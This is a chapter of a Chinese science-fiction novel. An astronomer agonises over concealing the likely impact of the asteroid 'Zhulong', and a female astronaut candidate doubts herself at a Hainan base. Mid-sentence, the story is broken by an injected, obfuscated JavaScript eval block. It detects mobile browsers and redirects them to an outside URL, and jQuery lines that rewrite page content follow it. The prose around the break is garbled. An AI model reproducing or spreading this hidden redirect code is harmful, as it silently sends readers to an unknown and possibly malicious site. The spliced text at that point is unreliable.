杜铭刚抵达首都国际机场。暴雨刚刚过去，空气里还带着些微的湿润感。
一号航站楼前，车流缓缓移动。不时有交警连声吹哨，用力挥手——“送人的送完快走！别都堵在这儿！都动一动，往前开！不要在这里等人！”
有人孤身远走他乡，也有人揽过久别重逢的肩膀。
人群川流不息，只有更古不变的阳光，照在首都国际机场的玻璃墙上，闪闪发光。
杜铭拖着行李箱，随着熙熙攘攘的人群走进机场大厅。
正是暑假，大厅里充满了出游的小家庭。孩子像野马脱缰，家长拖着大包小包紧紧跟随，一眼也不敢松懈。
杜铭的的手机响了——
他低头看屏幕，是导师的来电。
“到机场了吗？”电话那头传来汪院士的声音，慢条斯理的。
雨后放晴，老爷子一定在阳台上喝茶。
“刚到，现在过安检，人挺多的。”
“大小伙子还怕挤啊，要锻炼身体。你要是倒下了，海南那边得多遗憾啊。”
“我也没那么重要。”
“哎！不要妄自菲薄，你可是‘烛龙’的发现者！千年来最大的近地小行星啊！3.24亿公里，在这么远的距离，你能精准地观测到它并计算出轨道，这本身就是一个奇迹！”
“我其实希望没有发现它。”
“你看看，你又来了！这个发现，足够你投《自然》的——不对，是什么杂志都能投，投了一定中，所以你不要老是给我垂头丧气的。”
“可是……如果一个发现会让一切变得更糟，您还会继续推进吗？”
汪涛笑了一声：“收你们这帮学生，可能会让我名誉扫地。你看我不还是收了吗？当然，我不是说你。”
“可是它很可能会撞上地球。”
“如果撞上了，你可以拿诺奖。”
“我不想——”
“杜铭，够了！你可是签了保密协议的，不要在办公室外谈论。我这次就当没听见！”
杜铭呼吸一滞，他的确暗暗希望能被人听见。
电话两端，这对师生沉默着。
安检通道前的队伍长而安静。杜铭的前头排着一群学生。
其中一个男孩的深蓝色T恤上印着“NASA”的标志，让杜铭多看了一眼。
“你们看这个！”“NASA”男孩几乎把手机屏幕塞到同伴的脸上，“小行星’烛龙’全解析，超牛的！”
旁边的长发女孩接话，“是不是说，到时候肉眼可以看到它划过天空啊？”
“是这么说。”
“那我到时候要许愿！是什么时候来着？”
“再过170天——明年一月初吧，放寒假前。我许愿它直接撞地球，正好不用过考试周。”
长发女孩白了他一眼，蹙起细细的眉毛：“你可拉倒吧——到时候我要去看流星，你去不去？”
“还不知道哪里能看到呢。”
“你到底陪不陪我去？”
“去的去的！”
杜铭跟着人群往前走了两步，“老师。”
“怎么？”听他放软了语气，汪涛也不再抓着之前的问题不放。杜铭脑子好使，能分清轻重——
“老师，我觉得，我们不应该隐瞒消息。”
杜铭听到茶缸子砸在木头桌面上的声响，然后是导师严厉的声音：“是我要隐瞒的吗？”
“不是。”
“那是你能决定的吗？”
“不是。”
“你也不是小孩子了！杜铭，想法要现实一点！”
“可手术前，病人都需要知情。”
“对，没错！但是你不会拉着他的耳朵，对他反复强调，你有百分之一的几率会死亡。如果你是医生，你会说，你的生还率是百分之九十九。言论不可控，杜铭。”
“可言论是控制不住的，老师。”
“那就不是我们要考虑的问题了。你安心去海南。我和航天中心的老任打过招呼了。他是我的老同学了，你去了，在他手下做事。他会关照你的。”
“知道了，老师。”
“最近还头晕吗？”
“没有。”
“那就好，年纪轻轻，动不动晕了菜的可不行。工作重要，也别忘了吃饭。到那边好好干。”
“好的。我要过安检了，老师。”
“好，还有一句，你爸让你春节前回来。”
杜铭抬起头，灯光打在镜片上，挡住了他的眼神：“让他自己和我说。”
“我也不乐意当你们爷俩的传话筒。但你得让你爸的警卫员从我办公室里出去，总不能天天盯着我喝茶。”
“我知道了。”
“总之，你到时候尽量回来吧。”
“老师，您也认为……”
“我什么都不知道，你不要问我。但如果不是你坚持，我不会同意你这个时候去海南。”
年轻的学生们已经通过了安检，消失在视线里。杜铭看到安检员朝他招手，“去哪里？”
“海南。”
“机票看一下。”
“走这边过安检——电子产品拿出来，水不要带。”安检员将护照和机票还给他。
过了安检，就是候机大厅。这里人潮涌动，人们兴奋、期待、好奇。
透过落地的大玻璃窗，可以看到跑道上，白色的客机正缓缓滑行、有序起落。
这样明亮的日子，本应该是安逸的、无忧的、阳光灿烂的。
新闻里说有一颗星星要经过地球，没有人会在意。
听说国家要趁机进行一点科考计划，那可太正常了。
但是星星会砸下来？你疯了吧？
地球转动了46亿年，所以明天也会继续转动，不是吗？
这安逸让他感到痛苦，杜铭下意识地握紧了行李箱的把手。塑料发出“嘎吱嘎吱”的轻微声响。
一阵熟悉的头晕感袭来，眼前的景象像雪花般闪动，机场大厅灰色的坐椅和浅色的地砖被拉长、扭曲，像一幅渐渐溶解的画。耳边的喧嚣逐渐变得模糊，被隔在了一层无形的薄膜之后。
杜铭的眼前出现一片黑色，他看到一颗灰色的天体悄无声息地出现在黑色的中心。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970614|161327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们互相观测。
他闭上眼，手指在行李箱的把手上轻轻敲击，每一下都踩着心中的秒数。一，二，三……
五秒之后，一切消失，机场的嘈杂声重新涌入耳中。
广播里空姐悦耳的声音响起：“国泰航空6111，前往海南的旅客们，我们现在开始登机了。”
暮色降临，海南的空气越发潮湿，像一层黏稠的薄膜紧贴在肌肤上。
风起坐在窗边，看远处椰树的影子斜斜地投在地面上，随着风轻轻摇曳。远处隐约传来海浪声。
她的行李箱还打开在床角，一半已经空了，另一半还放着衣物和一些个人物品。风起没有继续整理的心情，甚至觉得，这种不上不下的空落感正适合她此刻的状态。
今天的操作测试，她的成绩排在中游，修理机械的用掉的八分钟，让她在时间上落后于其他候选人。她觉得自己正在被淘汰的边缘。
宿舍原本为两人准备，但前来参选的任务专家不多。她原以为会喜欢这种独处的安静，可现在，如果有个室友能聊上几句，或许会好过一点。
手机“嗡”了一声，风起的心里一紧。
“十一回家过节。”
来自母亲的消息出现在微信的置顶栏里。
风起的手指在悬在屏幕上。如果通过了选拔，未来半年都要留在基地里，十一必然是出不去的，这是所有来参选的人都心知肚明的。
只有被淘汰的人，才会提前离开基地。她可以面对任何测试和挑战，但暂时还不能接受被淘汰。
母亲从她的沉默里，也许已经察觉到她的意思，没有再发第二条消息。
她知道母亲必然已经失望了。那些未出口的解释和迟来的回信仿佛一道无形的墙，将两人隔得越来越远。她看着屏幕上的字句，耳边仿佛响起母亲带着些许疲惫的声音：“霄霄，又不回来吗？”
“如果打过去，告诉母亲自己正在参加航天员的选拔，母亲会怎么反应？”她心中闪过这个念头。
答案几乎是确定的：“你能不能别总去追这些遥不可及的东西？”
风起知道，母亲从未支持过她追逐航天梦。在母亲眼里，她本可以选择一份更稳妥、更平凡的职业，而不是这条注定充满未知和压力的道路。母亲眼中的未来，是平凡而安稳的日子，而不是风起一个人远离地球、迎接不可预测的挑战。
“如果没有选上呢？”这个想法突然冒出来。如果没有选上，她甚至不需要面对这些挣扎。这一刻，她感到矛盾的自己站在悬崖边缘，一边是无法言说的疲惫，一边是无法放弃的执念。
“那就不说了吧，正好避免又一场争吵。”
她站起身，从衣架上拿起夹克，走出宿舍。风在空旷的园区里呼啸，带来远处机械设备的轰鸣。
不远处，园区门岗的方向，有人在冲她挥手：“同志！那边的同志！”
风起走过去。
“同志你好，”警卫对风起敬了一礼，“不好意思，这位是来轨道计算组报道的，我和他们组长通过电话了。他们组暂时抽不出人手来接，您看，您能不能带他去测控中心报个道？”
